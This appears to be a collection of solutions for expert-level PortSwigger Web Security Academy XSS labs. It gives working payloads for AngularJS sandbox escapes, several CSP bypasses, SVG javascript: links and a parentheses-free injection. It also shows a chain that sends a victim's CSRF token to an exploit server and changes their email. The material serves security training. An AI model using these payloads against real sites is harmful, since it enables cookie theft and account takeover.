portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to Cross-site scripting (XSS):

25 Reflected XSS with AngularJS sandbox escape without strings

This lab demonstrates exploiting AngularJS sandbox escapes to execute reflected XSS without needing string payloads.

26 Reflected XSS with AngularJS sandbox escape and CSP

This lab shows bypassing Content Security Policy (CSP) protections by escaping AngularJS sandboxes in reflected XSS attacks.

27 Reflected XSS with event handlers and href attributes blocked

This lab explores reflected XSS where event handlers and href attributes are blocked, requiring alternative exploitation techniques.

28 Reflected XSS in a JavaScript URL with some characters blocked

This lab demonstrates exploiting reflected XSS when the JavaScript URL scheme is filtered and some characters are blocked.

29 Reflected XSS protected by very strict CSP, with dangling markup attack

This lab covers how dangling markup can be used to bypass very strict CSP and cause reflected XSS.

30 Reflected XSS protected by CSP, with CSP bypass

This lab shows advanced techniques for bypassing CSP protections to achieve reflected XSS.

LAB 25 - Reflected XSS with AngularJS sandbox escape without strings

Lab Description

image

Solution

AngularJS Sandbox Escape XSS Lab — No $eval & No Strings

This lab uses AngularJS in an unusual configuration where:


Recon & Setup

  1. Navigate to the lab page.
  2. Inject a canary value (e.g., literallyethical) into the search field.

    image

  3. View the page source and confirm your canary appears within an AngularJS expression block — indicating Angular is parsing the query parameter.

image


AngularJS Sandbox Note

AngularJS expressions are sandboxed by design — meaning:

To bypass this, we need to exploit Angular’s internal mechanics.


Final Exploit Payload

Replace YOUR-LAB-ID with your actual lab instance ID and paste this URL in the browser:


[https://YOUR-LAB-ID.web-security-academy.net/?search=1\&toString().constructor.prototype.charAt=\[\].join;\[1\]|orderBy\:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1](https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString%28%29.constructor.prototype.charAt=[].join;[1]|orderBy:toString%28%29.constructor.fromCharCode%28120,61,97,108,101,114,116,40,49,41%29=1)

image

This payload triggers alert(1) and solves the lab.

image


Payload Breakdown

Let’s break it down step by step:

1. Override .charAt()

toString().constructor.prototype.charAt = [].join;

2. Trigger AngularJS Filter Chain

[1] | orderBy:

3. Bypass String Restrictions with fromCharCode

toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

4. Evaluate and Return Truthy

=1

Full Decoded Expression:

toString().constructor.prototype.charAt = [].join;
[1] | orderBy: toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

Which is equivalent to:

toString().constructor.prototype.charAt = [].join;
[1] | orderBy: "x=alert(1)" = 1

Testing

Once this is submitted:



LAB 26 - Reflected XSS with AngularJS sandbox escape and CSP

Lab Description

image

Solution

AngularJS Sandbox Escape with CSP Bypass - alert(document.cookie)

This lab requires you to:


Goal

Perform a Cross-Site Scripting (XSS) attack via AngularJS without using external scripts and without $eval, while bypassing CSP restrictions.


Final Payload

Use the following script to inject your payload into the lab. Be sure to replace YOUR-LAB-ID with your actual lab instance ID:

<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

URL Decoded Version

<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x';
</script>

Reverse Engineering the Payload

Step 1: Set the Location

location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=...'

Step 2: Understanding ng-focus and AngularJS Filters

<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
Element Explanation  
<input id="x"> An input element is injected into the DOM with ID x.  
ng-focus=... Executes AngularJS expression when the input is focused.  
$event.composedPath() Gets an array of event propagation path elements.  
` | orderBy:` AngularJS filter that accepts a function or string.  
'z=alert)(document.cookie)' Bypasses CSP: assigns alert to z and then calls z(document.cookie).  

image

Why This Works

image


Steps to Solve the Lab

  1. Navigate to the lab and go to the Exploit Server.
  2. Paste the script payload into the Body field:
<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
  1. Click Store.
  2. Click Deliver exploit to victim.

image


Result

Once the victim visits the exploit page:

image


LAB 27 - Reflected XSS with event handlers and href attributes blocked

Lab Description

image

Solution

Reflected XSS Using Valid Tags, SVG, and JavaScript URI

This lab involves finding valid HTML tags and crafting an XSS payload that triggers an alert using only user interaction and supported tags/attributes. The goal is to display "Click me" and execute alert(1) when the user clicks the link.


Step-by-Step Guide

1. Discover Valid HTML Tags

Using Burp Intruder, enumerate valid tags. You should find the following work:

<a>
<animate>
<image>
<svg>
<title>

image

2. Test Valid Payloads

Start with basic payload tests:

<a id="x">Click Me</a>
<a id="x" tabindex="0">Click Me</a>
<svg><rect width="10" height="10" fill="red"></rect></svg>

Also test this (needs click interaction):

<a href="javascript:alert(1)">Click Me</a>

image

3. Constructing the Exploit

We want to:

SVG-Based Attack Structure

<svg>
  <a>
    <animate attributeName=href values=javascript:alert(1)/>
    <text x=20 y=20>Click me</text>
  </a>
</svg>

This works because:


Final Payload

<svg><a><animate attributeName=href values=javascript:alert(1)/><text x=20 y=20>Click me</text></a>

image

Final URL (with your lab ID)

https://YOUR-LAB-ID.web-security-academy.net/?search=<svg><a><animateattributeName=hrefvalues=javascript:alert(1)/><textx=20y=20>Click me</text></a>

URL Encoded Payload

https://YOUR-LAB-ID.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

Steps to Solve the Lab

  1. Paste the encoded payload into your browser.
  2. The page will display “Click me”.
  3. Click the link — the browser executes javascript:alert(1).
  4. Lab is solved!

image


Key Concepts

Element Purpose
<svg> Allows embedded vector graphics
<a> Anchor/link element
href Executed by browser when clicked
<animate> Modifies attributes dynamically
text Visual bait to lure victim to click
javascript: URI Triggers JS in vulnerable contexts

LAB 28 - Reflected XSS in a JavaScript URL with some characters blocked

Lab Description

image

Solution

Advanced XSS — Exploiting JavaScript Injection via fetch() Without ()

This lab demonstrates a reflected XSS scenario where the application reflects part of the URL input into a JavaScript fetch() API call.

Step-by-Step Breakdown

1. Identify the Injection Point

From the lab setup, it’s evident that the postId parameter is reflected inside a JavaScript block. For example:

fetch('/post?postId=1', {method: 'GET'})

If we visit:

https://YOUR-LAB-ID.web-security-academy.net/post?postId=1

We can see the Back to Blog anchor tag uses this postId. To inject a payload without breaking the postId value, we append our injection using & instead of modifying the parameter itself.

image

Ctrl+u on above page

image

2. Understand the JavaScript Context

We’re injecting into the second argument of the fetch() function:

fetch('/post?postId=1', {method: 'GET'})

To close the object and inject safely, we use:

&'}

This effectively closes the object and lets us write arbitrary JavaScript.


3. Avoid Using ()

Calling alert(1337) directly is blocked due to () character filtering. To work around this, we use JavaScript coercion via overriding toString() and forcing it to execute.


4. Crafting the Exploit

We define a function f and override toString to trigger it when window is converted to a string:

f = x => { throw/**/onerror=alert,1337 }
toString = f
'' + window

When '' + window is executed, it triggers our custom toString function, causing throw to raise an error and onerror=alert to fire.


5. Final Payload

Here is the working payload:

&'},f=x=>{throw/**/onerror=alert,1337},toString=f,''+window,{x:'

Explanation:

Full URL

Replace YOUR-LAB-ID with your actual lab ID:

https://YOUR-LAB-ID.web-security-academy.net/post?postId=1&'},f=x=>{throw/**/onerror=alert,1337},toString=f,''+window,{x:'

image

Lab Solved

This payload executes JavaScript without using parentheses and bypasses any restrictions on function calls like alert().


LAB 29 - Reflected XSS protected by very strict CSP, with dangling markup attack

Lab Description

image

Solution

Exploiting XSS to Steal CSRF Token and Change Email

This lab requires chaining Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) to change the victim’s email address.


Attack Strategy

  1. Trigger an XSS payload that executes on the victim’s session.
  2. Craft a form injection to steal the CSRF token.
  3. Capture the token on your exploit server.
  4. Use the token to change the victim’s email address via a CSRF PoC.

Step-by-Step Walkthrough

Step 1: Inject HTML Form to Capture CSRF Token

The XSS vector targets the email parameter. You can inject a closing tag to break the existing form and introduce your own:

"></form><form class="login-form" name="evil-form" action="https://exploit-0aad00e50419a26982bdf14301f9006c.exploit-server.net/log" method="POST">

image

This form will capture and submit any autofilled CSRF token field to your exploit server.


Step 2: Host Exploit on Exploit Server

Payload:

<script>
location = 'https://0a3a006c041ba288822ff20900fa00c8.web-security-academy.net/my-account?email=%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name=%22evil-form%22%20action=%22https://exploit-0aad00e50419a26982bdf14301f9006c.exploit-server.net/log%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button%3E';
</script>

image


Step 3: Capture the CSRF Token

Once the victim visits the exploit page, the fake form submits the CSRF token to your server. You can view this in the Exploit Server Logs.

image


Step 4: Craft CSRF PoC to Change Email

After obtaining the token, use Burp Suite’s Generate CSRF PoC tool or create your own like below:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a54003704a897438303ff0e00f40097.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;evil&#45;user&#46;net" />
      <input type="hidden" name="csrf" value="lPYOYwKwk9iSWIfnAcG7bXDBLtzXPzvG" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

image


Result

The victim’s email gets changed to hacker@evil-user.net, and the lab is successfully solved.

image


LAB 30 - Reflected XSS protected by CSP, with CSP bypass

Lab Description

image

Solution

Bypassing CSP to Exploit XSS

In this lab, we are asked to solve a Cross-Site Scripting (XSS) vulnerability by bypassing a misconfigured Content Security Policy (CSP).


Initial Payload Blocked by CSP

When we try the basic XSS payload:

<img src=1 onerror=alert(1)>

…it doesn’t execute. This is because the CSP policy in place prevents inline script execution.

image


Inspecting the CSP Header

Using Burp Suite, we observe the following CSP directive in the server’s response headers:

default-src 'self'; object-src 'none'; script-src 'self'; style-src 'self'; report-uri /csp-report?token=

Key Observations:

Interestingly, this token is not validated properly and can be abused to inject new CSP directives into the response.


Exploiting Misconfigured token Parameter

When we append the following payload to the token parameter:

;script-src-elem 'unsafe-inline'

It overrides the existing script-src-elem directive, allowing inline <script> tags to execute.


Final Payload

https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

URL-Decoded Version of payload:

image

This payload successfully executes an XSS by bypassing the CSP.

image

After injecting the payload, the lab is solved.